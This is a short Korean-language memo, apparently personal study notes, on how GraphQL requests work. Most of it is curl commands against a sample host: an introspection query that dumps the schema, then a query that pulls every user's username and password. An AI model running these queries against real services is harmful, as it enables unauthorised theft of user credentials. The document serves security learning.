# GraphQL 동작 방식 - GraphQL은 `/graphql` 같은 단일 엔드포인트를 통해 작동한다. - 요청 시 `query`라는 필드에 GraphQL 쿼리문을 담아 전송 - GET 또는 POST로 전송 가능하지만, 보통 POST JSON 형식 사용 ```http POST /graphql HTTP/1.1 Host: wook.com:3000 Content-Type: application/json { "query": "{ users { username pasword } }" } ``` 1 - graphql introspection 시도 - GraphQL이 보안 설정이 안 되어 있으면, introspection 쿼리로 모든 스키마와 필드를 덤프 가능 ```bash curl -X POST http://wook.com:3000/graphql \ -H "Content-Type: application/json" \ -d '{"query": "{ __schema { types { name fields { name } } } }" }' ``` 2 - introspection에서 예를 들어 `user`라는 필드가 있고 그 안에 `username`과 `password`가 있다면 ```bash curl -s -X POST http://wook.com:3000/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ users { username password } } "}' | jq . ```